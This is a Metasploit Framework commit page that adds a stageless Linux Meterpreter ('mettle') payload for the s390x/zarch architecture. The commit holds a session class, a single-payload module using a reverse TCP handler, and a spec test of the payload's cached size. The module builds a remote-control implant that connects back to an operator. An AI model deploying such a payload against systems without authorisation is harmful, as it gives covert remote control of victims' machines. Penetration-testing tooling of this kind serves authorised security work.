Skip to content

Commit ccba73b

Browse files
committed
Add stageless mettle for Linux/zarch
1 parent 24cf756 commit ccba73b

File tree

3 files changed

+80
-0
lines changed

3 files changed

+80
-0
lines changed
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
5+
module Msf
6+
module Sessions
7+
8+
###
9+
#
10+
# This class creates a platform-specific meterpreter session type
11+
#
12+
###
13+
class Meterpreter_zarch_Linux < Msf::Sessions::Meterpreter
14+
def supports_ssl?
15+
false
16+
end
17+
def supports_zlib?
18+
false
19+
end
20+
def initialize(rstream, opts={})
21+
super
22+
self.base_platform = 'linux'
23+
self.base_arch = ARCH_ZARCH
24+
end
25+
end
26+
27+
end
28+
end
29+
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp'
8+
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
10+
require 'msf/base/sessions/meterpreter_zarch_linux'
11+
12+
module MetasploitModule
13+
14+
CachedSize = 367864
15+
16+
include Msf::Payload::Single
17+
include Msf::Sessions::MeterpreterOptions
18+
include Msf::Sessions::MettleConfig
19+
20+
def initialize(info = {})
21+
super(
22+
update_info(
23+
info,
24+
'Name' => 'Linux Meterpreter',
25+
'Description' => 'Run the mettle server payload (stageless)',
26+
'Author' => [
27+
'Adam Cammack <adam_cammack[at]rapid7.com>'
28+
],
29+
'Platform' => 'linux',
30+
'Arch' => ARCH_ZARCH,
31+
'License' => MSF_LICENSE,
32+
'Handler' => Msf::Handler::ReverseTcp,
33+
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
34+
)
35+
)
36+
end
37+
38+
def generate
39+
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config).to_binary :exec
40+
end
41+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4524,4 +4524,14 @@
45244524
reference_name: 'linux/x86/mettle_reverse_tcp'
45254525
end
45264526

4527+
context 'linux/zarch/mettle_reverse_tcp' do
4528+
it_should_behave_like 'payload cached size is consistent',
4529+
ancestor_reference_names: [
4530+
'singles/linux/zarch/mettle_reverse_tcp'
4531+
],
4532+
dynamic_size: false,
4533+
modules_pathname: modules_pathname,
4534+
reference_name: 'linux/zarch/mettle_reverse_tcp'
4535+
end
4536+
45274537
end

0 commit comments

Comments
 (0)